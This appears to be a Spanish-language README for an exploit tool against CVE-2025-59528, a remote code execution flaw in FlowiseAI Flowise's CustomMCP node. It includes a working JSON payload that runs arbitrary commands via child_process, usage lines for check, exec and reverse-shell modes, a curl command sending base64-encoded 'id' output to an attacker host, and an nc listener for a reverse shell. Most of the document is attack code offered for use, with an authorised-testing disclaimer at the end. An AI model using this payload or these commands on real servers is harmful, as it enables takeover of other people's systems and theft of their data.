
CVE-2025-59528 - FlowiseAI CustomMCP Ejecución Remota de Código
CVSS 10.0 (Crítico) | RCE Ciego | FlowiseAI Flowise >= 2.2.7-patch.1 y < 3.0.6
Una vulnerabilidad crítica de ejecución remota de código en el nodo CustomMCP de FlowiseAI Flowise. La función convertToValidJSONString pasa la entrada proporcionada por el usuario desde el parámetro mcpServerConfig directamente al constructor Function() de JavaScript, funcionalmente equivalente a eval(), permitiendo la ejecución de código JavaScript arbitrario con todos los privilegios del tiempo de ejecución de Node.js.
Function() por JSON5.parse())En packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, líneas 262–270:
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← arbitrary code execution
}
El flujo de contaminación:
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
Esto es un RCE ciego: la salida del comando no se refleja en la respuesta HTTP. Utilice técnicas de callback (curl/wget) o una reverse shell para confirmar la ejecución.
| Condición | Detalles |
|---|---|
| Versión de Flowise | >= 2.2.7-patch.1, < 3.0.6 |
| Acceso a red | API endpoint en puerto 3000 (por defecto) |
| Autenticación | Opcional para < 3.0.1, requerida para >= 3.0.1 |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Exfiltrar salida mediante callback
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Iniciar listener
nc -lvnp 4444
# Ejecutar exploit (intenta automáticamente bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email [email protected] --password pass
# Autenticación JWT (Flowise >= 3.0.1)
--email [email protected] --password pass
# Autenticación básica (Flowise < 3.0.1 con variable de entorno FLOWISE_USERNAME)
--username admin --password pass
# Cadena de cookie sin procesar (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCPEsta herramienta se proporciona únicamente con fines de pruebas de seguridad autorizadas y educativas. El acceso no autorizado a sistemas informáticos es ilegal. Obtenga siempre la autorización adecuada antes de realizar pruebas.